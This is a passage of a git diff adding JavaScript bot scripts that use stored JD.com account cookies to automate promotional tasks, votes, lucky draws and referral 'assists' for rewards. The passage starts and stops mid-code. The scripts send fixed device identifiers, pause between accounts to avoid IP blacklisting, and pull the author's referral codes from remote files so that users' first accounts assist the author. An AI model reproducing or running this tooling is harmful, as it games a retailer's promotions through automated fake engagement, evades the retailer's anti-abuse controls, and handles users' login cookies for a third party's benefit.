PostRequest(`advId=funny_collectScore`,body) +//$.log(JSON.stringify(MyRequest)) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.code == 0){ + console.log("\n"+result.data.bizMsg+"\n") + await $.wait(8000) + }else{ + $.log(result.msg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function DoTask(){ + const body = `functionId=funny_collectScore&body=%7B%22taskId%22%3A${taskid}%2C%22taskToken%22%3A%22${token}%22%2C%22ss%22%3A%22%7B%5C%22extraData%5C%22%3A%7B%5C%22log%5C%22%3A%5C%22%5C%22%2C%5C%22sceneid%5C%22%3A%5C%22HWJhPageh5%5C%22%7D%2C%5C%22secretp%5C%22%3A%5C%22${secretp}%5C%22%2C%5C%22random%5C%22%3A%5C%2243136926%5C%22%7D%22%2C%22actionType%22%3A0%7D&client=wh5&clientVersion=1.0.0&uuid=0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849&appid=o2_act` + const MyRequest = PostRequest(`advId=funny_collectScore`,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.data.bizCode == 0){ + console.log(result.data.result.successToast+"\n") + await $.wait(4000) + }else{ + console.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function unlock(){ + const body = `functionId=funny_raise&body=%7B%22id%22%3A${userUnlockedPlaceNum}%2C%22ss%22%3A%22%7B%5C%22extraData%5C%22%3A%7B%5C%22log%5C%22%3A%5C%22%5C%22%2C%5C%22sceneid%5C%22%3A%5C%22HWJhPageh5%5C%22%7D%2C%5C%22secretp%5C%22%3A%5C%22${secretp}%5C%22%2C%5C%22random%5C%22%3A%5C%2276834380%5C%22%7D%22%7D&client=wh5&clientVersion=1.0.0&uuid=0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849&appid=o2_act` +//$.log(secretp) + const MyRequest = PostRequest(`advId=funny_raise`,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.data.bizCode == 0){ + console.log("\n获得"+result.data.result.levelUpAward.pieceRedpacket.value+result.data.result.levelUpAward.pieceRedpacket.name+"\n") + await $.wait(4000) + }else{ + $.log("解锁失败,好玩币不足"+result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function getsecretp(){ + const body = `functionId=funny_getHomeData&body=%7B%22isNeedPop%22%3A%221%22%2C%22currentEarth%22%3A3%7D&client=wh5&clientVersion=1.0.0&appid=o2_act` + const MyRequest = PostRequest(`advId=funny_getHomeData`,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + secretp = result.data.result.homeMainInfo.secretp + userUnlockedPlaceNum = result.data.result.homeMainInfo.raiseInfo.userEarthInfo.userUnlockedPlaceNum + //$.log(userUnlockedPlaceNum) + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function Ariszy(){ + for(let j = 0; j < listtokenArr.length; j++){ + token = list2tokenArr[j] + taskid = listtokenArr[j].match(/\d+/) + $.log("TaskId:"+taskid) + $.log("Token:"+token) + if(taskid == 2 ||taskid == 4 || taskid == 8 || taskid ==14){ + await doTask() + await DoTask() + }else{ + await doTask() +} + } + +} +async function scans(){ + for(let j = 0; j < list0tokenArr.length; j++){ + token = list1tokenArr[j]; + taskid = list0tokenArr[j].match(/\d+/) + $.log("TaskId:"+taskid) + $.log("Token:"+token) + await doTask() + await DoTask() +} +} +async function zy(){ + listtokenArr.splice(0,listtokenArr.length); + list2tokenArr.splice(0,list2tokenArr.length); + //list0tokenArr.splice(0,list0tokenArr.length); + //list1tokenArr.splice(0,list1tokenArr.length); +} +async function Zy(){ + for(let i = 0; i < 7; i ++){ + await scan() + await scans() + list0tokenArr.splice(0,list0tokenArr.length); + list1tokenArr.splice(0,list1tokenArr.length); + } +} +async function control(){ + for(let i = 0; i < list1tokenArr.distinct().length; i++){ + helpcode = list1tokenArr[i] + await dosupport() + await $.wait(4000) +} +} +async function dosupport(){ + const body = `functionId=funny_collectScore&body=%7B%22ss%22%3A%22%7B%5C%22extraData%5C%22%3A%7B%5C%22log%5C%22%3A%5C%22%5C%22%2C%5C%22sceneid%5C%22%3A%5C%22HWJhPageh5%5C%22%7D%2C%5C%22secretp%5C%22%3A%5C%22${secretp}%5C%22%2C%5C%22random%5C%22%3A%5C%2269009870%5C%22%7D%22%2C%22inviteId%22%3A%22${helpcode}%22%2C%22isCommonDealError%22%3Atrue%7D&client=wh5&clientVersion=1.0.0&uuid=0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849&appid=o2_act` + const MyRequest = PostRequest(`advId=funny_collectScore`,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.data.bizCode == 0){ + console.log(result.data.bizMsg+"获得"+result.data.result.score+"好玩豆\n") + await $.wait(4000) + }else{ + console.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function getlist(){ + const MyRequest = PostRequest(`?advId=funny_getTaskDetail`,`functionId=funny_getTaskDetail&body=%7B%22taskId%22%3A%22%22%2C%22appSign%22%3A%221%22%7D&client=wh5&clientVersion=1.0.0&uuid=0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849&appid=o2_act`) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.code == 0){ + console.log("查看任务列表\n") + + + + let list2 = result.data.result.taskVos.find(item => item.taskId == 2) + let maxTimes2 = list2.maxTimes + for(let i = 0; i < maxTimes2; i ++){ + listtokenArr.push(2+list2.shoppingActivityVos[i].taskToken) +list2tokenArr.push(list2.shoppingActivityVos[i].taskToken) + + } + + let list3 = result.data.result.taskVos.find(item => item.taskId == 3) + let maxTimes3 = list3.maxTimes + for(let i = 0; i < maxTimes3; i ++){ + listtokenArr.push(3+list3.shoppingActivityVos[i].taskToken) +list2tokenArr.push(list3.shoppingActivityVos[i].taskToken) + } + + let list4 = result.data.result.taskVos.find(item => item.taskId == 4) + let maxTimes4 = list4.maxTimes + for(let i = 0; i < maxTimes4; i ++){ + listtokenArr.push(4+list4.browseShopVo[i].taskToken) +list2tokenArr.push(list4.browseShopVo[i].taskToken) +//$.log(list4.productInfoVos[i].taskToken) + } + + let list6 = result.data.result.taskVos.find(item => item.taskId == 6) + let maxTimes6 = list6.maxTimes + for(let i = 0; i < maxTimes6; i ++){listtokenArr.push(6+list6.brandMemberVos[i].taskToken) +list2tokenArr.push(list6.brandMemberVos[i].taskToken) +//$.log(list5.followShopVo[i].taskToken) + } + + let list7 = result.data.result.taskVos.find(item => item.taskId == 7) + let maxTimes7 = list7.maxTimes + for(let i = 0; i < maxTimes7; i ++){listtokenArr.push(7+list7.shoppingActivityVos[i].taskToken) +list2tokenArr.push(list7.shoppingActivityVos[i].taskToken) +//$.log(list5.followShopVo[i].taskToken) + } + let list8 = result.data.result.taskVos.find(item => item.taskId == 8) + let maxTimes8 = list8.maxTimes + for(let i = 0; i < maxTimes8; i ++){listtokenArr.push(8+list8.shoppingActivityVos[i].taskToken) +list2tokenArr.push(list8.shoppingActivityVos[i].taskToken) +//$.log(list5.followShopVo[i].taskToken) + } + //$.log(JSON.stringify(listtokenArr)) + let list13 = result.data.result.taskVos.find(item => item.taskId == 13) + let maxTimes13 = list13.maxTimes + for(let i = 0; i < maxTimes13; i ++){listtokenArr.push(13+list13.followShopVo[i].taskToken) +list2tokenArr.push(list13.followShopVo[i].taskToken) +//$.log(list5.followShopVo[i].taskToken) + } + let list14 = result.data.result.taskVos.find(item => item.taskId == 14) + let maxTimes14 = list14.maxTimes + for(let i = 0; i < maxTimes14; i ++){listtokenArr.push(14+list14.shoppingActivityVos[i].taskToken) +list2tokenArr.push(list14.shoppingActivityVos[i].taskToken) +//$.log(list5.followShopVo[i].taskToken) + } + let list15 = result.data.result.taskVos.find(item => item.taskId == 15) + let maxTimes15 = list15.maxTimes + for(let i = 0; i < maxTimes15; i ++){listtokenArr.push(15+list15.shoppingActivityVos[i].taskToken) +list2tokenArr.push(list15.shoppingActivityVos[i].taskToken) +//$.log(list5.followShopVo[i].taskToken) + } + let list16 = result.data.result.taskVos.find(item => item.taskId == 16) + let maxTimes16 = list16.maxTimes + for(let i = 0; i < maxTimes16; i ++){listtokenArr.push(16+list16.shoppingActivityVos[i].taskToken) +list2tokenArr.push(list16.shoppingActivityVos[i].taskToken) +//$.log(list5.followShopVo[i].taskToken) + } + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function scan(){ + const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body=%7B%22appId%22:%221ElBTx6o%22,%22taskToken%22:%22%22,%22channelId%22:1%7D&client=wh5&clientVersion=1.0.0`) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.code == 0){ + +let list6 = result.data.result.taskVos.find(item => item.taskId == 6) + for(let i = 0; i < list4.productInfoVos.length; i ++){ +list0tokenArr.push(6+list6.productInfoVos[i].taskToken) +list1tokenArr.push(list4.productInfoVos[i].taskToken) +} + + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function getfeedtoken(){ +for(let i = 9; i < 13;i++){ + await getfeedlist(i) +} +} +async function getfeedlist(Taskid){ + const Body = `functionId=funny_getFeedDetail&body=%7B%22taskId%22%3A%22${Taskid}%22%7D&client=wh5&clientVersion=1.0.0&appid=o2_act` + const MyRequest = PostRequest(`?advId=funny_getFeedDetail`,Body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.data.bizCode == 0){ +let lists = result.data.result.addProductVos.find(item => item.taskId == Taskid) + let maxTimes = lists.maxTimes + for(let i = 0; i < maxTimes; i++){ +listtokenArr.push(Taskid+lists.productInfoVos[i].taskToken) +list2tokenArr.push(lists.productInfoVos[i].taskToken) +//$.log(JSON.stringify((list2tokenArr))) + } + //await zy() + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function gethelpcode(){ + const MyRequest = PostRequest(`?advId=funny_getTaskDetail`,`functionId=funny_getTaskDetail&body=%7B%22taskId%22%3A%22%22%2C%22appSign%22%3A%221%22%7D&client=wh5&clientVersion=1.0.0&uuid=0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849&appid=o2_act`) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.code == 0){ + +let list5 = result.data.result.taskVos.find(item => item.taskId == 5) + list0tokenArr.push(5+list5.assistTaskDetailVo.taskToken) +list1tokenArr.push(list5.assistTaskDetailVo.taskToken) +//$.log(list5.assistTaskDetailVo.taskToken) + + + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } + +async function userScore(){ + const body = `functionId=funny_getHomeData&body=%7B%22isNeedPop%22%3A%221%22%2C%22currentEarth%22%3A3%7D&client=wh5&clientVersion=1.0.0&appid=o2_act` + const MyRequest = PostRequest(`advId=funny_getHomeData`,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.code == 0){ + let userScore = result.data.result.homeMainInfo.raiseInfo.remainScore + let turn = Math.floor(userScore / (result.data.result.homeMainInfo.raiseInfo.nextLevelScore - result.data.result.homeMainInfo.raiseInfo.curLevelStartScore)) + if(turn > 0){ + $.log("共有好玩币:"+userScore+";开始解锁🔓"+turn+"次\n") + for(let i = 0; i < turn; i++){ + await unlock() + } +}else + $.log("好玩币不够,不解锁\n") + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +//showmsg +//boxjs设置tz=1,在12点<=20和23点>=40时间段通知,其余时间打印日志 + +async function showmsg() { + if (tz == 1) { + if ($.isNode()) { + if ((hour == 12 && minute <= 20) || (hour == 23 && minute >= 40)) { + await notify.sendNotify($.name, message) + } else { + $.log(message) + } + } else { + if ((hour == 12 && minute <= 20) || (hour == 23 && minute >= 40)) { + $.msg(zhiyi, '', message) + } else { + $.log(message) + } + } + } else { + $.log(message) + } +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, "", "不要在BoxJS手动复制粘贴修改cookie"); + return []; + } + } +} +Array.prototype.distinct = function (){ + var arr = this, + result = [], + len = arr.length; + arr.forEach(function(v, i ,arr){ //这里利用map,filter方法也可以实现 + var bool = arr.indexOf(v,i+1); //从传入参数的下一个索引值开始寻找是否存在重复 + if(bool === -1){ + result.push(v); + } + }) + return result; +}; +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_decompression.js b/backUp/jd_decompression.js new file mode 100644 index 0000000..fa2874f --- /dev/null +++ b/backUp/jd_decompression.js @@ -0,0 +1,589 @@ +/** + * 蚊子腿豆子,活动时间:9.21-10.16 10月16号应该可以参与瓜分 + * 第一个号会给作者助力,其他号会给第一个号助力,活动期间貌似只有一次助力机会 + cron 5 6,18 1-16,21-30 9,10 * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_decompression.js + */ +const $ = new Env('热血心跳,狂解压'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = []; +$.activityID = 'dz2109100009716201'; +$.shopid = '1000085868'; +$.shareUuid = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + let res = []; + try{res = await getAuthorShareCode('https://raw.githubusercontent.com/lsh26/share_code/main/decompression.json');}catch (e) {} + if(!res){ + try{res = await getAuthorShareCode('https://gitee.com/star267/share-code/raw/master/decompression.json');}catch (e) {} + if(!res){res = [];} + } + if(res.length > 0){ + $.shareUuid = getRandomArrayElements(res,1)[0]; + } + for (let i = 0; i < cookiesArr.length; i++) { + await getUA(); + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.oldcookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main(); + console.log(`防止黑IP,等待30秒`); + await $.wait(30000); + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); + + +async function main() { + $.token = ``; + await getToken(); + if($.token === ``){ + console.log(`获取token失败`);return; + } + console.log(`获取token成功`) + await getActCk(); + $.pin = ''; + await takePostRequest('getMyPing'); + if($.pin === ``){ + $.hotFlag = true; + console.log(`获取pin失败,该账号可能是黑号`);return; + } + await getUserInfo(); + $.cookie=$.cookie + `AUTH_C_USER=${$.pin}` + await accessLogWithAD(); + $.cookie=$.cookie + `AUTH_C_USER=${$.pin}` + console.log(`初始化`); + $.activityData = {}; + await takePostRequest('activityContent'); + if(JSON.stringify($.activityData) === `{}`){ + console.log(`获取活动详情失败`);return; + } + console.log(`获取活动详情成功`); + console.log(`助力码:${$.activityData.actorUuid}`); + await doTask(); + await $.wait(3000); + await takePostRequest('activityContent'); + await $.wait(2000); + //await takePostRequest('guafen'); + let score = $.activityData.score; + console.log(`可投票次数:`+score); + let scoreFlag = false; + $.canScore = true; + let aa = 0; + for (let i = 0; i < score && $.canScore && aa < 40; i++) { + scoreFlag = true; + console.log(`进行第${i+1}次投票`); + await takePostRequest('insxintiao'); + await $.wait(1500); + aa++; + } + if(scoreFlag){ + await $.wait(1000); + await takePostRequest('activityContent'); + await $.wait(1000); + } + let score2 = $.activityData.score2; + console.log(`可扭蛋次数:`+score2); + if(score2 > 0){ + await takePostRequest('drawContent'); + await $.wait(1000); + } + $.score2Flag = true; + $.score2Time = 0; + for (let i = 0; i < score2 && $.score2Flag && $.score2Time< 10; i++) { + console.log(`进行第${i+1}次扭蛋`); + await takePostRequest('draw'); + await $.wait(1500); + $.score2Time++; + } + if($.index === '1'){ + $.shareUuid = $.activityData.actorUuid; + } +} + +async function doTask(){ + $.taskValue = ''; + if(!$.activityData.signStatus){ + console.log(`去签到`); + $.taskType=0; + await takePostRequest('saveTask'); + await $.wait(1000); + }else{ + console.log(`已签到`); + } + if(!$.activityData.followShopStatus){ + console.log(`去关注店铺`); + $.taskType=23; + await takePostRequest('saveTask'); + await $.wait(1000); + }else{ + console.log(`已关注`); + } + if(!$.activityData.addCartStatus){ + console.log(`去执行加购`); + $.taskType=21; + await takePostRequest('saveTask'); + await $.wait(1000); + }else{ + console.log(`已执行加购`); + } + let toMainData = $.activityData.toMainData; + for (let i = 0; i < toMainData.length; i++) { + $.taskType=12; + if(!toMainData[i].toMainStatus){ + console.log(`去执行浏览会场`); + $.taskValue = toMainData[i].value; + await takePostRequest('saveTask'); + await $.wait(1000); + } + } + let toShopStatus = $.activityData.toShopStatus; + for (let i = 0; i < toShopStatus.length; i++) { + $.taskType=14; + if(!toShopStatus[i].toShopStatus){ + console.log(`去执行浏览店铺`); + $.taskValue = toShopStatus[i].value; + await takePostRequest('saveTask'); + await $.wait(1000); + } + } + let viewViewData = $.activityData.viewViewData; + for (let i = 0; i < viewViewData.length; i++) { + $.taskType=31; + if(!viewViewData[i].viewViewStatus){ + console.log(`去执行浏览视频`); + $.taskValue = viewViewData[i].value; + await takePostRequest('saveTask'); + await $.wait(1000); + } + } + if(!$.activityData.zhiboStatus){ + console.log(`去观看直播`); + $.taskType=10; + $.taskValue=10; + await takePostRequest('saveTask'); + await $.wait(1000); + }else{ + console.log(`已观看直播`); + } +} +async function takePostRequest(type){ + let url = ''; + let body = ``; + switch (type) { + case 'getMyPing': + url= `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`; + body = `userId=${$.shopid}&token=${encodeURIComponent($.token)}&fromType=APP`; + break; + case 'activityContent': + url= 'https://lzdz1-isv.isvjcloud.com/dingzhi/vivo/iqoojieyapa/activityContent'; + body = `activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}` + break; + case 'saveTask': + url= 'https://lzdz1-isv.isvjcloud.com/dingzhi/vivo/iqoojieyapa/saveTask'; + body = `pin=${encodeURIComponent($.pin)}&activityId=${$.activityID}&taskType=${$.taskType}&actorUuid=${$.activityData.actorUuid}&shareUuid=${$.shareUuid}&taskValue=${$.taskValue}`; + break; + case 'insxintiao': + url= 'https://lzdz1-isv.isvjcloud.com/dingzhi/vivo/iqoojieyapa/insxintiao'; + body = `pin=${encodeURIComponent($.pin)}&activityId=${$.activityID}&playerId=15`; + break; + case 'draw': + url= 'https://lzdz1-isv.isvjcloud.com/dingzhi/vivo/iqoojieyapa/draw'; + body = `activityId=${$.activityID}&uuid=${$.activityData.actorUuid}&pin=${encodeURIComponent($.pin)}`; + break; + case 'drawContent': + url= 'https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/common/drawContent'; + body = `activityId=dz2109100009716201&pin=${encodeURIComponent($.pin)}`; + break; + case 'guafen': + url= 'https://lzdz1-isv.isvjcloud.com/dingzhi/vivo/iqoojieyapa/guafen'; + body = `activityId=dz2109100009716201&pin=${encodeURIComponent($.pin)}&playerId=8`; + break; + default: + console.log(`错误${type}`); + } + let myRequest = 